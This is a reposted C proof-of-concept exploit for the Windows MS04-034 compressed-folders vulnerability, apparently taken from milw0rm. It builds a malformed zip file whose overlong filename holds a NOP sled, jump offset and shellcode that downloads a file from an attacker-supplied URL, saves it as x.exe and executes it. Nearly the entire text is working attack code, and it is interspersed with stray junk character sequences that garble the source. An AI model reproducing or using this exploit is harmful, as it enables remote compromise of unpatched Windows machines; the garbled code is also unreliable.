(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English * * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html ) t0 f: D; Z' n: B1 ]# Q* Exploit Date: 21/10/2004 5 G% N% {1 ~2 r' G3 Y3 I H* * Tarako - Haxorcitos.com 2004 * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" & E4 U0 D) |" P$ b& i* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. ' ]+ i8 n0 f9 N2 |* * Greetings t #haxorcitos, #dsr and #localhost @efnet * * * How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses ( K8 E6 P% C* j* ) e: |1 b' x7 p# c; P*/ ' W+ E1 q6 M$ h: w y #include <stdio.h> $ M% N8 J2 ]9 C8 j6 ?#include <windows.h> ; x. o0 r' n( W7 ~% z/ u0 R$ Z$ Q . _- \( J# \) R% Z/ f6 v4 W#pragma pack(1) #define DATOS "Tarako-Haxorcitos.com" " x8 ?. _) d: M7 b' ltypedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) 5 T" x& k, |) K6 F/ Q- lWORD VersionNeeded; ! U0 y- {3 p0 C, ?! XWORD GeneralPurposeFlag; // para el data descriptor y demas % c1 p- {! V. t4 i; WWORD CompressionMethod; # i0 `' Q9 n5 j) ?* j+ rWORD ModFileTime; ( b9 h8 E8 ?1 m5 kWORD ModFileDate; ( i- u) B' z/ b0 g. EDWORD Crc32; + N7 y/ L# O6 F7 Y* N9 X! u" RDWORD CompressedSize; DWORD UncompressedSize; + j b" a" K; d& u4 h* {) PWORD FilenameLength; ' L$ ^: M6 D$ E9 J6 vWORD ExtraFieldLength; 7 h" M% }! g( R( c// filename (variable size) ; [# X! C! _+ X+ l+ I N$ m// extra field (variable size) }TOPHEADER; t9 G; Q) S5 W% [6 |# D5 U' qtypedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) ; ?3 D8 H5 s" v6 h1 n" D3 h& JWORD MadeVersion; 4 O) V% o( B! E4 E# @; D% ^8 W8 kWORD VersionNeeded; * D. n* o! m7 kWORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; [4 E5 U. y+ b8 o; _3 tWORD ModFileDate; DWORD Crc32; DWORD CompressedSize; ) B6 d1 G4 Q/ t1 j8 H8 b5 E. a6 Y$ hDWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; WORD FileCommentLength; * V1 o4 x7 E& {: G. |) C6 OWORD DiskNumberStart; 2 P( k. q, s% _$ DWORD InternalFileAttributes; DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; $ V- q$ A6 h" _// filename (variable size) // extra field (variable size) 1 L2 T$ j( m$ ?3 [& B0 n6 U+ I6 A// file comment (variable size) }MIDDLEHEADER; * r' ` [. Z# w, |7 l6 O4 ] 7 L: R( U9 a/ @& ?9 U6 u+ ]typedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) . ^0 i& G8 h: n; J: t: m& B9 Z! zWORD NumOfThisDisk; 0 K r0 [5 W, t0 q" H2 BWORD NumDisckStartCentralDirectory; ) B+ y% i9 H% o4 d2 J. m- uWORD NumEntriesCentralDirOnThisDisk; 7 j& n- j! S# R# M" I5 F2 W; qWORD TotalNumEntriesCentralDir; $ V4 a, x& Q- K( zDWORD SizeCentralDirectory; n: Q; X( ^" aDWORD OffsetCentraDirRespectStartDiskNum; , q9 W% ~7 H. p/ Q7 i# l) hWORD ZipCommentLength; // zipfile comment (variable size) 2 q: n& P. v2 }}BOTTOMHEADER; /* * download shellcode - RaiSe - raise@netsearch-ezine.com */ char shellcode1[] = ; H2 V8 P& K8 t( Z# W"\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" 6 P) o: I8 E; F# G: X" t"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" / c( K% c2 ?' a' I"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" ; ]" c- e& }" B) \" E) Y"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" 2 s+ ?$ l8 e2 p1 Q% F"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" : t8 l% t- m% [4 c* Q9 [1 A"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" * x* `, r. d% G* d2 I2 ~; w"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" + }7 M( \6 R# |' `, r( I( N"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" ( _& R& l! u* L+ F! N"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" 5 l3 ?9 d: x/ K5 w"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" 4 q8 E: B e# m"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" : L) c4 \" p* s9 T3 e! E* G! i+ z"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" W! M$ K" U! j6 U"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" + d! j* B+ f% F6 r9 \. w"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" ! r" z4 k1 g' M8 |/ b) ~ R"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" 4 E C: P; K: h6 W"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" 6 a/ N6 n; o: c$ y0 z# s"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" + y3 U6 ]( W' c+ z0 j- g& d"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" . c. a' _1 W8 P# J0 h9 }"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" ; ?9 d1 K0 @3 u& B/ l"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" . ?5 R3 P- J+ ~, f$ q"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; 9 Q6 V5 b! e, e8 \+ {! @2 w0 ychar shellcode2[] ="\x08\x01"; ' h) g, ]5 Y3 l: B" K , a/ V; V* c0 c' i. n7 `" Mchar offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; 9 ]& r" o0 E. t1 _% P( @ }; s7 R0 A% d5 o7 x( Eint main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; DWORD c; $ d: q q* @6 v1 Y+ i' A5 [UINT i; ; ^# r% }) R, Mchar *filename; 2 c/ D# V8 r' Rchar *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); 2 W+ Z a0 c% M# R! W- `printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); ' Y0 K" P9 w% o2 V. p Aif (argc!=2) { , Y$ L1 j0 I" j/ \printf("\n\n Usage: %s <URL> \n",argv[0]); 2 F9 K) g# S# Y- ~% m Qexit(1); ]2 d' j I3 F/ U6 K* z# n} ! N4 Z& x4 u$ v url=argv[1]; % I) r3 a% w. |printf("\n * URL: %s",url); / U- A6 `+ T4 _0 f9 [& V if (!(ZipFile=fopen("prueba.zip","w+b"))) { 4 l" W! P& x' Fprintf("\n [E] fopen()"); exit(1); : Q/ f" n$ Y/ H# o} ; s. |0 f0 e) j2 V( {c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); memset(filename,0,sizeof(filename)); 1 q' A `+ z) L+ R! q- C for( i=0x0;i<c;i++) filename=(BYTE)0x90; , P* S7 D" B( Mmemcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); memcpy(filename+0x1818,offset,strlen(offset)); # s8 K3 R2 {3 |0 w9 U" P! C0 O, bmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); / [5 T8 W7 C# y" Q8 Kmemcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); I$ }0 |6 [/ A2 e6 Y1 Xmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); " ~: W0 B( M8 g. \3 e6 G' [memcpy(filename+(c-4),".txt",4); + g* h* V B" j$ v8 _* n: ~1 p Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); 8 `6 g/ X7 T( s9 {) k* a- rCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); & F0 g1 r8 K6 A8 QCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); , a7 s8 i9 A. C1 g- c' e* Kmemset(Cabecera1,0,sizeof(TOPHEADER)); * x; N" J' ?5 L$ X2 e& v& Umemset(Cabecera2,0,sizeof(MIDDLEHEADER)); memset(Cabecera3,0,sizeof(BOTTOMHEADER)); /////////////////////////////////////////////////////////////////// ' C7 B: a; j% z// TOPHEADER 9 I7 d* J3 h1 N6 G i; H/ X3 O/////////////////////////////////////////////////////////////////// : R' Y) o5 \6 J2 n/ Y+ MCabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas Cabecera1->CompressionMethod=0x0000; // WORD + |! _3 q5 w4 W1 `, F ^Cabecera1->ModFileTime=0x1362; // WORD Cabecera1->ModFileDate=0x3154; // WORD * G% j( d5 s, l7 J w2 @* K* {Cabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD 3 U/ o+ d W1 }Cabecera1->UncompressedSize=0x00000015; // DWORD D0 P" g( k3 e0 s( L4 KCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); & ?4 B( j- p6 `8 {Cabecera1->ExtraFieldLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// % g) X) U8 R2 J c// MIDDLEHEADER 6 j& \9 h _; k/////////////////////////////////////////////////////////////////// 5 B/ ~% p1 N( r+ W4 DCabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD Cabecera2->VersionNeeded=0x000A; // WORD Cabecera2->GeneralPurposeFlag=0x0002; // WORD * W- O9 q* x7 V+ @Cabecera2->CompressionMethod=0x0000; // WORD % v2 i4 M- e! k% bCabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD ! x( h, C3 R* y ACabecera2->UncompressedSize=0x00000015; // DWORD 1 S) F, e: C: e4 Z; }- {4 H3 _Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera2->ExtraFieldLength=0x0000; // WORD % F2 P2 ^+ D( BCabecera2->FileCommentLength=0x0000; // WORD Cabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD /////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// // BOTTOMHEADER /////////////////////////////////////////////////////////////////// Cabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD * t* t5 c% e% v% y2 D$ T8 @) w% eCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD ( G8 g. u$ b* Z' h V# A8 x' aCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 2 g( N: A3 d2 F n WCabecera3->ZipCommentLength=0x0000; // WORD u' ?7 b7 s8 c$ F2 x/////////////////////////////////////////////////////////////////// fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); , y9 q3 d8 z# J0 ]' t8 i6 \fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); 9 c! |$ ?, N, e! ~! Z* p$ f8 V mfclose(ZipFile); 8 i/ Q' { ]8 `* `9 s% m kprintf("\n * prueba.zip created\n"); return 1; }//downloaded from milw0rm.com